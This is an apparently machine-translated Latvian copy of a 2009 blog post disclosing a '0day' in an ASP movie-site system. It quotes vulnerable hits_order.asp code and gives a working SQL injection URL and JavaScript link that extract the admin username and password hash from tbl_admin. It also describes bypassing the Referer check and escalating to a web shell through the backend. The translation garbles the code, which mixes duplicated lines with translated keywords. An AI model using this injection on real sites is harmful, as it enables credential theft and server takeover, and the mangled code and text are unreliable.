Acu diena filma sistēma 0day-0day, hits_order.asp, injekcijas, acu diena filma sistēma,-st0p blogs

Acu dienu filmu sistēma 0day

Šis ieraksts tika publicēta 25 Okt 2009

: St0p & My5t3ry
Reproducēt, lūdzu, norādiet avota http://www.st0p.org

Oh, un My5t3ry nākt klajā ar caurumu, sazinieties ar oficiālo administratoru, nav bijis uzmanību man.

Pirmkārt, ļaujiet man injicē problēmu

Nepilnību failu / p_inc / hits_order.asp

  <- # Include file = ".. / P_inc / config.asp!" ->
 <- # Include file = ".. / P_inc / function.asp!" ->
 <- # Include file = ".. / P_inc / function_func.asp!" ->
 <- # Include file = ".. / P_inc / openconn.asp!" ->
 <- # Include file = ".. / P_inc / G_function.asp!" ->
 <%
 Then Ja ne ChkPost () Tad
	 G_error_page_1 reakcija. Novirzīt G_error_page_1
	 ( ) atbilde beigas ()
 Beigām, ja
 "Zvanu ChkPost / p_inc / function.asp fails () funkciju, lai konstatētu avota URL
 url,numb ) Funkciju G_hitss (URL, sastindzis)
	 Dim iela
	 str = ""
	 & numb & " id,m_name,m_pic,m_hits,m_content from qingtiandy_movie where m_look=1 order by m_hits desc,id desc" sql = "select top" & sastindzis un "id, m_name, m_pic, m_hits, m_content no qingtiandy_movie kur m_look = 1 Pasūtot m_hits DESC, id DESC"
             "Es redzēju, ka nav sastindzis, neviens filtrs
	 server . CreateObject ( G_RS ) Set rs = serveris CreateObject (G_RS).
	 , 1 rs. atvērts SQL, CONN, 1, 1
	 i = 1
	 Do Kaut arī ne rs. EOF 
		 Array ( "d" ,rs ( 0 ) ,url ) ) d_url = url_ (Array ("d", rs (0), url))
		 "<div class=kkk1_list><a class=bbb href=" & d_url & " title='主演：" & rs ( 2 ) & "'>" & Get_length ( rs ( 1 ) , "" , 32 ) & "</a> (" & rs ( 3 ) & ")</div>" str = str & "<div class=kkk1_list> <a class=bbb href=" & d_url &" title='主演:" & rs (2) & "'>" & Get_length (rs (1), "", 32) & "</> (" & rs (3) & ") </ div>
		 i = i + 1
		 rs. movenext
	 Cilpa
	 G_hitss = str
 End Function
 %>
 G_hitss ( request ( "url" ) , request ( "numb" ) ) %> ") document.write ("<% = G_hitss (lūgums (" url "), pieprasījums (" sastindzis "))%>")
 "Šeit sastindzis filtrs

Metožu izmantošana, piemēram,
1, jūs varat tieši izmantot programmatūru kalti Referer, apmeklējiet šo adresi, lai sasniegtu
Caur XMLHTTP kalti Referer, apmeklējiet šo adresi īstenošanu
3, JS JavaScript, lai kontrolētu avota URL

  ( "<a href='/p_inc/hits_order.asp?numb=1 (select str_username from tbl_admin) as username,(select str_pass from tbl_admin) as pass,'>科幻片</a> " ) ; javascript:. dokuments rakstīt (<a href='/p_inc/hits_order.asp?numb=1 (select str_username no tbl_admin) kā username,(select str_pass no tbl_admin) kā pass,'> zinātniskās fantastikas </> ") ;

http://www.st0p.org/p_inc/hits_order.asp?numb=1 (izvēlieties str_username no tbl_admin) kā lietotājvārdu, (izvēlieties str_pass no tbl_admin), kā caurlaide,

Piezīme: lai lēkt pār Referer atklāšana var caur POST, GET, COOKIE dažādas veidus, kā sasniegt injicēt. . .

Piekļuve šiem, administrators lietotājvārdu URL no saites, paroli HASH parādīts tieši ārā. .

Kreka paroles hash, jo fons var tieši rediģēt ASP failu, uz fona un veikt SHELL līniju.

Šī procedūra, ir arī citas nepilnības. Šeit netiek veikts. .